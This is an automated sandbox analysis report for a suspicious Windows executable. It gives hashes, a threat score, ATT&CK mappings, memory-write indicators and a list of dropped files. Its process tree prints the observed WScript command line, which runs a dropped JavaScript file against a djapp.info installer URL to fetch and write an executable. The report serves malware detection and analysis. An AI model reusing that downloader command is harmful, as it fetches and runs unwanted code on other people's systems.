b18ebd29fd3d67693f0e9386dfeeaf7ff8451db11314ab6db7ad59bc3c926434

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
05-05-2024 00:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe
Size

184KB
MD5

1516c28bb9b08a6822121f0e88567457
SHA1

e28c3a2dd25faa80b18e41d6a3824dd6777944e3
SHA256

b18ebd29fd3d67693f0e9386dfeeaf7ff8451db11314ab6db7ad59bc3c926434
SHA512

a7f5bdd32e63aca7a5b7b085a4d40bcc0cf714b661cfc55f4d6cb3ed4eaa09e36180c73d44b01f9ce83e5f63f5b1c9d4c662838d05192d99c863f37c194948de
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3p:/7BSH8zUB+nGESaaRvoB7FJNndn4

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2376	WScript.exe
8	2376	WScript.exe
10	2376	WScript.exe
12	2600	WScript.exe
13	2600	WScript.exe
15	2772	WScript.exe
16	2772	WScript.exe
18	1556	WScript.exe
19	1556	WScript.exe
21	1236	WScript.exe
22	1236	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2988 wrote to memory of 2376	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	28
PID 2988 wrote to memory of 2376	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	28
PID 2988 wrote to memory of 2376	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	28
PID 2988 wrote to memory of 2376	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	28
PID 2988 wrote to memory of 2600	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	30
PID 2988 wrote to memory of 2600	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	30
PID 2988 wrote to memory of 2600	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	30
PID 2988 wrote to memory of 2600	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	30
PID 2988 wrote to memory of 2772	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	32
PID 2988 wrote to memory of 2772	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	32
PID 2988 wrote to memory of 2772	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	32
PID 2988 wrote to memory of 2772	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	32
PID 2988 wrote to memory of 1556	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	34
PID 2988 wrote to memory of 1556	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	34
PID 2988 wrote to memory of 1556	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	34
PID 2988 wrote to memory of 1556	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	34
PID 2988 wrote to memory of 1236	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	36
PID 2988 wrote to memory of 1236	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	36
PID 2988 wrote to memory of 1236	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	36
PID 2988 wrote to memory of 1236	2988	1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1516c28bb9b08a6822121f0e88567457_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2988
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1065.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1065.exe
  2⤵
  - Blocklisted process makes network request
  PID:2376
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1065.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1065.exe
  2⤵
  - Blocklisted process makes network request
  PID:2600
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1065.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1065.exe
  2⤵
  - Blocklisted process makes network request
  PID:2772
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1065.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1065.exe
  2⤵
  - Blocklisted process makes network request
  PID:1556
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf1065.js" http://www.djapp.info/?domain=ehHFsruRJQ.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf1065.exe
  2⤵
  - Blocklisted process makes network request
  PID:1236

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
3ae9b6b5aa139f59a1f74a830b6b0111

SHA1
0a629f5a3aec95f8f101ecf8bcc66f4ba6943b32

SHA256
07d7d65a9b1c7e3091748bbcdf13dd652ba6763c5fb35aa0d4e9ca79a01a5814

SHA512
6e966fc893bae0cf693f03faecfec08f50f32116f2acbb5c6feec609274e073f2d9e5a8cf2e5cf2615a057f459737a5d0ac31abe3056eb1a4479512907450128

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
8f40ffabcbbe15fa63acc0af2cf826ab

SHA1
dd17298e34ae2f59abc6d81cf32775e4f3e3e5dd

SHA256
5085eca4e2af73ccf1327a3c4b338fbdcba2b4273a4f1bbc8caae6e8eea00584

SHA512
44bae7b2cdf2a5b07eaa7ffa95bef77bb9485125d45aff9e4b9d13cbe1048d38a2776b46e288f2780af560882e66cc8fa69c633bd80a8dbfdbac9026ab24d962

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
c335d65a98b5af64380ced7f0908ba5e

SHA1
0cd633d8b118593a4538978dbc29bf5f8f0e4652

SHA256
d3211381ffc0606e8a6c76d38bbb081e547faa9547afc3929d3cb0c9500e6f69

SHA512
27b79c1202690f1292a72c93e85392fa16c8043045aa23e5405de9ed8aaf18d48ca96d5eac9f357aed6870d3da1034d28f11084ca2badad0baad804f164a2576

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
865aa1a7d1655d9e54f887d7acf0eb2f

SHA1
a80e39ea27b3f3dc144db661664e504e412d74b9

SHA256
5c35584938607fa2dbf3f4f68683ad33d2ea4e2a79ab2520566b87644a5b2cb0

SHA512
46d0490efebb424c6c72d9482fbcacd388a893e0bb1804acf6c47c79139b953bad31ba776c8a7800438f4e25bf539118112fd38bff1fe96b0d76a9576db6feea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPR7YYBV\domain_profile[1].htm

Filesize
6KB

MD5
f4223e8eca7758c1ee16b0558cc373c3

SHA1
08a6cc6d493889bbe894c505e3ee4cebc10125da

SHA256
6052b9eb04799f7ce3f4440b187d7304ca9dfb875074d466e3abd14be80be903

SHA512
98360e644031fbd337f62b5c1358a84d25c0c90a9175842752f29800b1e93c7bb023eb0b933fec8a014c5cdcabde32794e5f745df687f2c78edc7caa4855fdd4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\MPR7YYBV\domain_profile[1].htm

Filesize
40KB

MD5
929e133dc98be67bdf3e8bb05c08dbab

SHA1
296cedc81ebf592239aa7a57f9f92e4aabbd7c43

SHA256
57521a5d85482e2dc91d97073e5fdecf07ba7a0d062b43e203407eb94c1bedad

SHA512
34f6bb780680beb7dd69c4b242a3f5adcb60998f5bd273c3a6309b954413d35d835a1537fbb2208313949577f27893fc6b47cf762e54326e4c0a63a976f58d52

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VIF0OH2A\domain_profile[1].htm

Filesize
6KB

MD5
de693345d1b869d5f7b9822ed3a490ae

SHA1
bfedad911bdb9ade7cee6e683ba7653e3b3dba3b

SHA256
787168641a49240e09940eb856f4abc90f94881f28b15402f62c80abfddca967

SHA512
29c5ab900625e38df8066b4a2d98632b1fec6e10fd0f154565e6b77b65c48d92043edc70d4d09707b25afe9529bf115ff251ace7dcafd46aafa23dd502395be3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\VIF0OH2A\domain_profile[1].htm

Filesize
40KB

MD5
1bfe358be4bfc571fd9cad8bd394bf43

SHA1
273b07b9d6178f145edb775ef910296d6f71061b

SHA256
48ad6e9a59d22843013e25c20e618fc5d33398fc82f727d67f1c3aad24af629b

SHA512
9be406e03f4196d95d88f912885f1b9ff8a1f45167ac276837485163b1f1b150de1b07a10c484ec03415c691cbd7dea19eb6fda0256dd06480506451076af95e

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab3FED.tmp

Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar582F.tmp

Filesize
171KB

MD5
9c0c641c06238516f27941aa1166d427

SHA1
64cd549fb8cf014fcd9312aa7a5b023847b6c977

SHA256
4276af3669a141a59388bc56a87f6614d9a9bdddf560636c264219a7eb11256f

SHA512
936ed0c0b0a7ff8e606b1cc4175a1f9b3699748ccbba1c3aff96203033d2e9edabf090e5148370df42fbfc4e31d7229493706ff24f19ff42ff7bef74a6baad06

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf1065.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\5NUX2XQX.txt

Filesize
175B

MD5
22f46755498afa1c7b9f1bce3f13eb63

SHA1
37712aad302aaf689b7a9cd5e1a5fadacc86c8dc

SHA256
b22db78aefb8b9a12d032cc785cbcc777742bdac52a51b0641f249c613de9988

SHA512
b58618ee777f90f428740031f881f94e6ef1e66de72bc0502988d02d1a0912f408e293cf178e74965126a1b73b4553ac46f60566d031daaf33eeaae979eab981

Download Submit